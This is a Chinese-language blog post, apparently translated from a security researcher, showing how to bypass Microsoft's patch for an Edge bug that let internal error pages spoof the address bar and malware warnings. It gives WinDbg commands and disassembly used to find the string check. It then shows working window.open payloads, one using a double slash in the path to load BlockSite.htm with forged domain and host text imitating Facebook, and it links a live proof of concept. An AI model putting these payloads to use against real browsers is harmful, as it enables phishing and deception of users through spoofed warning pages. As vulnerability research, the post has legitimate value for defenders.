导语:昨天微软进行了一次规模比较大的更新,将大部分来源于本网站的漏洞都进行了修补。我很敬佩Edge的开发者以及它的安全研究员。

昨天微软进行了一次规模比较大的更新,将大部分来源于本网站的漏洞都进行了修补。我很敬佩Edge的开发者以及它的安全研究员。对于那些想继续维持IE策略的开发者,我想你们应该至少公开说明你们为什么不维护它,要么让他停更,要么就继续维护他。

各位读者,如果你对这个漏洞不了解,请你们阅读之前介绍的文章,然后再继续了解怎么绕过补丁。

漏洞快速回顾

微软的Edge允许我们加载一些像acr_error.html这样的内部html页面,不过他不允许我们加载"BlockSite.htm"。因为这个html文件的最后一页很容易被用来欺骗浏览器地址栏还有恶意页面警告机制。我们在几个月之前将url中的一个点编码为"%2e"将其绕过,不过现在版本已经修复。Edge开发人员在进行检查文件名时,先对url里面的内容进行解码,这样达到修复效果。所以,我们需要找到另外一种方法来进行绕过。来吧,黑客们,放下你们手中的娱乐设备,让我们一起进行这个漏洞的挖掘吧~

符号问题

由于微软并没有上传他们的一些公开的符号,所以我们的分析不会像上星期那样的简单。不过不要担心,只要我们明确目标:"我们只是想绕过补丁,然后攻击他",无论如何都能成功。一个黑客可不会这么想:"因为微软没有上传他们的公开符号,所以我先睡一星期"。

找到字符串"blocksite.htm"

在庞大的Edge源码中一定存在对"blocksite.htm"的字符匹配,所以我们将"BlockSite.htm"附加到请求中,并且找到匹配位置,在内存访问中设置断点,找到他调用了哪些代码。

下方的Javascript代码抛出"禁止访问"的异常,甚至无法打开一个新窗口。

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm");

Edge阻止这个内部命令的原因是:"这个错误页面由于接受hash或者查询字符串参数,导致攻击者可以欺骗地址栏和页面内容"

我们的目的是再一次欺骗Edge。但是,对于这个目的,我们使用下面的URL(将"点"进行编码,并且在字符串最后加入facebook.com以便我们接下来在内存中识别我们的代码):

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");

我们将上述代码输入到edge,它的匹配机制限制我们找到EdgeHtml.dll这个模块,也许大部分的edge代码部署在那里。当然这只是一个猜想,如果我们找不到任何有效的东西,我们会尝试其他模块,甚至从Edge所有的文件中查找。

一旦进入到正确的Edge进程,我们需要知道Edge模块地址的起始和终止并且在它的范围内进行搜索。

0:029> lm m edgehtml
Browse full module list
start end module name
00007fff`54ba0000 00007fff`5614d000 edgehtml

现在我们对"地址范围以及我们感兴趣的字符串"进行搜索。WinDbg对我来说确实很难说通,不过我可以告诉你下面的命令是进行一个搜索(命令是s),在64位地址中值返回Unicode字符:adress[1]。字符串为:"BlockSite"

0:029> s -[1]u 00007fff`54ba0000 00007fff`5614d000 "BlockSite"
0x00007fff`55d90846
0x00007fff`55d90944
0x00007fff`55e52c02

很好,可以发现,WinDbg立即返回了三个地址,让我们看看他是否正确。

0:029> du 0x00007fff`55d90846; du 0x00007fff`55d90944; du0x00007fff`55e52c02
00007fff`55d90846 "BlockSite.htm"
00007fff`55d90944 "BlockSite.htm"
00007fff`55e52c02 "BlockSite.htm"

我越来越兴奋了。我们在这三个地址上设置断点,我们想找到是谁在访问这三个地址。

ba r1 0x00007fff`55d90846
ba r1 0x00007fff`55d90944
ba r1 0x00007fff`55e52c02
g (keep running, Edge!)

太好了,我们现在转到我们的Javascript代码,并且尝试访问我们的恶意url

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");

立刻到了我们的设置的断点,我们返回WinDbg,看看我们得到了什么。

Breakpoint 0 hit
KERNELBASE!lstrlenW+0x18:
00007fff`74f6e2c8 75f6 jne KERNELBASE!lstrlenW+0x10 (00007fff`74f6e2c0) [br=1]

看来我们现在在一个内核模块,但我们的目标是找出哪个代码的EdgeHtml模块引用这个字符串。让我们来看看堆栈跟踪中的最新5个调用。

0:013> k 5
# Child-SP RetAddr Call Site
00 000000d3`14df8de8 00007fff`74f70244 KERNELBASE!lstrlenW+0x18
01 000000d3`14df8df0 00007fff`54fee629 KERNELBASE!StrStrIW+0x54
02 000000d3`14df8eb0 00007fff`55004e6b edgehtml!Ordinal107+0xc6059
03 000000d3`14df9f50 00007fff`55007272 edgehtml!Ordinal107+0xdc89b
04 000000d3`14df9f80 00007fff`55004cae edgehtml!Ordinal107+0xdeca2

前两个属于内核模块,但是第三个是来自edgehtml。 edgehtml的一段代码从内核库模块/库中调用了函数StrStrIW,这个看起来似乎是非常标准的。对"StrStrIW"进行搜索,在MSDN找到了对这个方法的说明

01-str.png

文档很清楚,感谢stack-trace,我们知道edgehtml正在调用这个函数。让我们在Edge返回地址中设置一个断点,以便在该点之前分析代码(我们可以采用两次到达同一点的方法进行实验)。

bp edgehtml!Ordinal107+0xc6059
g

我们瞬间停到了这里,接下来执行:

Breakpoint 3 hit
edgehtml!Ordinal107+0xc6059:
00007fff`54fee629 4885c0 test rax,rax

但是我们只是回到了字符串比较这个位置,所以我们想看看发生了什么。在WinDbg中我们可以用ub命令快速回溯:

0:013> ub $ip
edgehtml!Ordinal107+0xc602d:
00007fff`54fee5fd lea rdx,[edgehtml!Ordinal138+0x3e4ff8 (00007fff`55d5e6b8)]
00007fff`54fee604 lea rcx,[rsp+30h]
00007fff`54fee609 call qword ptr [edgehtml!Ordinal138+0x38b5b8 (00007fff`55d04c78)]
00007fff`54fee60f test eax,eax
00007fff`54fee611 jne edgehtml!Ordinal107+0xc6108 (00007fff`54fee6d8)
00007fff`54fee617 lea rdx,[edgehtml!Ordinal138+0x417160] (Second Argument)
00007fff`54fee61e lea rcx,[rsp+30h]                      (First Argument)
00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8]

很好,不过,我们没有这里的所有符号,所以看起来有点丑。但没有后顾之忧,我们知道我们刚刚从上面的调用过程中(最后一行)回来了。并且在调用之前,有两个参数被传递,一个在rdx,另一个在rcx。但是我们不知道这里有什么,因为调用已经执行,那些值可能已经改变。我们通过在最近的调用中设置一个断点来检查(因此它不执行),我们检查它的参数:

bd * (disable previous breakpoints)
bp 00007fff`54fee623
g

现在,我们终于能够准确的查看在比较字符串之前发生了什么。继续运行Javascript代码。

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");

它在字符串比较之前触发设置的断点:

Breakpoint 4 hit
edgehtml!Ordinal107+0xc6053:
00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8] ds:00007fff`55d04c88={KERNELBASE!StrStrIW (00007fff`74f701f0)}

我们检查一下传递给StrStrl函数的参数:

0:013> du @rcx (First argument)
000000d3`14df8ee0 "ms-appx-web://microsoft.microsof"
000000d3`14df8f20 "tedge/assets/errorpages/BlockSit"
000000d3`14df8f60 "e.htm?BlockedDomain=facebook.com"
0:013> du @rdx (Second argument)
00007fff`55d90820 "/assets/errorPages/BlockSite.htm"

我们可以看到%2e已经被解码成一个点了。所以我推测Edge调用StrStr方法,然后检测"/assets/errorPages/BlockSite.htm"是不是在url里面。下面的伪代码证实了我的推测:

var url = "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm?BlockedDomain=facebook.com";
var badString = "/assets/errorPages/BlockSite.htm";
if (badString is inside URL) ACCESS_DENIED;

因为字符串比较过后并没有什么验证机制,所以我们在这里投机取巧,但是,我们并不关心我们使用类似的攻击方法能绕过多久。

这里的主要问题是在字符串比较中采取了硬编码,但是我们可以使用不同的方法来访问一个url。我们前一种方法是对一个点进行编码,现在我们知道它会解码,所以我们需要想一个新的方法。

我想到了很多方法,比如多重编码,添加更多的斜杠。我尝试多添加一个斜杠来欺骗字符串检查,让我们输入的代码像合法的url一样执行。然后我们得到了这个:

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com");

02-double-dash.png

可以看到,两个斜杠可以绕过补丁。Edge现在可以执行URL.让我们构建一个更好的查询字符串,以完全欺骗恶意软件页面,就像我们以前一样(https://www.brokenbrowser.com/spoof-addressbar-malware/)。

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com");

03-justin-rogers.png

在Edge上验证poc

POC:https://www.cracking.com.ar/demos/edgesmartscreen/patch-bypass-1.html

源链接

Hacking more

...